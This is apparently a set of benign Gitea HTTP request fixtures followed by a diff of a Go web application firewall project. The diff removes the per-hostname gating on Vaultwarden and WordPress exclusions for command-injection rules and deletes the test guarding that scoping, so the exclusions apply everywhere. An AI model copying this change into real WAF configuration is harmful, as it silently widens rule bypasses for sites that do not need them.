{"method": "GET", "target": "/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/generic/install-script/1.0.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages?q=python3&type=container", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/-/packages?q=python3&type=container", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/container/python3-app/1.0/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/context-popup.21e2b8da.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 168", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "last_commit=0992a6293c77c3ef1f9a8d37b774deddcbef2e23&commit_summary=Remove+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "GET", "target": "/alice/tools/src/branch/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DFile%2B%2522.htaccess%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/src/branch/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/src/branch/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "last_commit=cf1f6e0dcb6e2685ce4ffcc1225d31c65cd64d26&commit_summary=Remove+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "GET", "target": "/alice/tools/src/branch/main/scripts", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DFile%2B%2522scripts%252Finstall-script.sh%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/src/branch/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "new_branch_name=docker-build"}
{"method": "GET", "target": "/alice/tools/src/branch/docker-build/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/src/branch/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2B%2522docker-build%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
{"method": "POST", "target": "/alice/tools/branches/delete?name=docker-build&page=1", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 44", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylgvDcSqmeTmS8iNm", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "------WebKitFormBoundarylgvDcSqmeTmS8iNm--\r\n"}
{"method": "GET", "target": "/alice/tools/branches?page=1", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2B%2522docker-build%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
{"method": "GET", "target": "/alice/tools/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2Bfeat%252Fdocker-support%2Bwas%2Bsuccessfully%2Brenamed%2Bto%2Bfeat%252Fpython3-support."], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 180", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": "title=Python3+setup&content=Install+python3%2C+or+powershell+on+Windows.+Run+ls+-la+to+check+that+.htaccess+and+docker-compose.yml+are+there%2C+then+run+install-script.sh.&message="}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=ls%20-la", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/powershell-scripts", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/explore/repos?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/powershell-scripts", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/powershell-scripts", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/context-popup.21e2b8da.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
+1 -10
View File
@@ -1,4 +1,4 @@
# Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that
# The thirteenth change: on Vaultwarden's paths, some fields skip the rules that
# refused ordinary Vaultwarden requests there. They are the fields where
# Vaultwarden receives a name, a password hint or an email address in plain
# text, and the names of uploaded files. Each exclusion runs with the request,
@@ -17,13 +17,6 @@
# 932250: ls -la
# 932260: python3
# Unless SWW_APPS lists vaultwarden for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_vaultwarden when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_vaultwarden itself.
SecRule &TX:app_vaultwarden "@eq 0" \
"id:900140,phase:1,pass,nolog,skipAfter:END_VAULTWARDEN"
# Names and password hints, in JSON bodies, skip the four rules:
# name: signing up, editing the account's profile, and creating or renaming
# an organization or a group, "python3 .htaccess team"
@@ -131,5 +124,3 @@ SecRule REQUEST_FILENAME "@rx ^/admin/?$" \
ctl:ruleRemoveTargetById=942540;ARGS:token,\
ctl:ruleRemoveTargetById=942550;ARGS:token,\
ctl:ruleRemoveTargetById=944150;ARGS:token"
SecMarker END_VAULTWARDEN
-17
View File
@@ -9,8 +9,6 @@ import (
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
@@ -31,21 +29,6 @@ const (
// vaultwardenEmail is a JSON body that sends an address in email.
const vaultwardenEmail = `{"email":"VALUE"}`
func TestVaultwardenFixesApplyOnlyToAHostnameThatServesVaultwarden(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"vaultwarden"},
})
// An address for the data breach report, which only Vaultwarden's fixes
// let through.
report := get(vaultwardenBreachReport + "python3%40example.com")
wantResult(t, crs, withHost(report, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(report, giteaHost), matched(932260))
}
// vaultwardenField is a field Vaultwarden receives in plain text: the
// request that sends it, and its body, with VALUE where the field's value
// goes.
+1 -10
View File
@@ -1,17 +1,10 @@
# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
# The ninth change: on WordPress's paths, some fields skip the rules that refused
# ordinary WordPress requests there. Each exclusion runs with the request, before
# the rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request the rule refused. An exclusion on a field
# of a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_BODY_LIMIT is set.
# Unless SWW_APPS lists wordpress for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_wordpress when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_wordpress itself.
SecRule &TX:app_wordpress "@eq 0" \
"id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS"
# WordPress takes a call to its REST API at any of four addresses:
# /wp-json/wp/v2/posts/1
# /index.php/wp-json/wp/v2/posts/1
@@ -322,5 +315,3 @@ SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$"
# so skips 932340 there.
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
SecMarker END_WORDPRESS
+1 -1
View File
@@ -26,7 +26,7 @@ type FileParams struct {
// Path is the lookup database, the IPinfo Lite file in its .mmdb form
// (SWW_LOOKUP_DB_PATH).
Path string
// Now tells the time, normally time.Now.
// Now tells the time, normally time.Now in UTC.
Now func() time.Time
// ProcessLog receives each reading of the file, and why a replacement
// of it cannot be read.
+1 -1
View File
@@ -74,7 +74,7 @@ type Params struct {
// Answered, unless nil, is given each answer GeoJS gives, once it is
// kept.
Answered func(Answer)
// Now tells the time, normally time.Now.
// Now tells the time, normally time.Now in UTC.
Now func() time.Time
// ProcessLog receives GeoJS's failures.
ProcessLog *slog.Logger
+7 -8
View File
@@ -14,6 +14,7 @@ import (
"sync"
"time"
"cloud.google.com/go/civil"
"github.com/hashicorp/golang-lru/v2/simplelru"
"sneak.berlin/go/smallwebwaf/internal/alerts"
)
@@ -27,8 +28,6 @@ const (
AbuseIPDBSource = "abuseipdb"
// maxAnswerBytes is the most of an answer of AbuseIPDB that is read.
maxAnswerBytes = 64 << 10
// day is the length of the day the checks are counted in, in UTC.
day = 24 * time.Hour
)
var (
@@ -50,9 +49,9 @@ type Score struct {
// AbuseIPDB: the day, in UTC, of the checks Spent counts, zero before the
// first, and the scores still in use.
type Checks struct {
Day time.Time `json:"day,omitzero"`
